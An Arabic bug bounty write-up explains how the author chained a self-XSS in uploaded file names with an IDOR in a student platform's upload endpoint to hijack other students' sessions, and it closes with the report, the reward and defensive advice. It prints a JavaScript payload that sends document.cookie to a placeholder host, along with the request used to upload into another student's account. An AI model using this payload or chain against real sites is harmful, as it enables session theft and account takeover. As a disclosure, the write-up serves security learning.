🎯 المقدمة
في هذا التقرير أشرح كيف تمكنت من تنفيذ Account Takeover داخل منصة طلابية، عن طريق سلسلة من الثغرات بدأت بـ Self-XSS وانتهت بـ IDOR.
النتيجة كانت اختراق حسابات طلاب آخرين من خلال سرقة الجلسة.
🧪 الخطوة 1: اكتشاف Self-XSS في اسم الملف
أثناء اختبار خاصية رفع الملفات داخل حساب الطالب، قمت برفع ملف باسم يحتوي على كود JavaScript مثل:
"><script>new Image().src='http://<ip>/?c='+document.cookie</script>
لاحظت أن اسم الملف يتم عرضه داخل صفحة الواجهة بدون فلترة، مما أدى إلى تنفيذ الكود في المتصفح.
لكن هذه الثغرة تعتبر Self-XSS، لأن الكود يتم تنفيذه فقط داخل حسابي، ولا يُمكن استغلاله على الآخرين مباشرة.
🔍 الخطوة 2: اكتشاف IDOR في عملية رفع الملفات
واصلت تحليل النظام، وركّزت على عملية رفع الملفات داخل حساب الطالب.
ما وجدته:
عند إرسال طلب رفع ملف، يحتوي على StudentEID
لتحديد الحساب المستهدف.
POST /api/student/upload
StudentEID: 12345
File: exploit.png
قمت بتجربة تعديل رقم StudentEID
إلى رقم طالب آخر، وتم رفع الملف بنجاح داخل حسابه، بدون تحقق من الصلاحيات!
🔗 الخطوة 3: الدمج بين Self-XSS وIDOR
هنا جاءت الفكرة:
- استخدمت ثغرة IDOR لرفع ملف إلى حساب طالب آخر.
- اسم الملف كان يحتوي على كود JavaScript يسرق الكوكي.
- عندما يدخل الطالب المستهدف إلى حسابه، سيتم تحميل الاسم داخل DOM مباشرة، مما يؤدي إلى تنفيذ الكود داخل متصفحه.
وبالتالي حصلت على:
✅ جلسة الطالب (Session Cookie)
✅ تحكم كامل بالحساب
🧾 النتيجة النهائية
- تم تنفيذ Account Takeover من خلال سلسلة:
- Self-XSS ← IDOR ← Session Hijacking
- الثغرات تم الإبلاغ عنها بنجاح.
- تم منحي مكافأة مالية بقيمة 1400$ عبر برنامج Bug Bounty.
📌 ملاحظات أمنية
- لا تستهين بـ Self-XSS، خصوصًا إذا كانت هناك ثغرات أخرى يمكن دمجها معها.
- تحقق دائمًا من ملكية المستخدم عند التعامل مع عمليات مثل رفع الملفات.
- لا تُعرض أسماء الملفات مباشرة داخل HTML دون فلترة أو Encoding.
Happy Hacking 👨💻🔥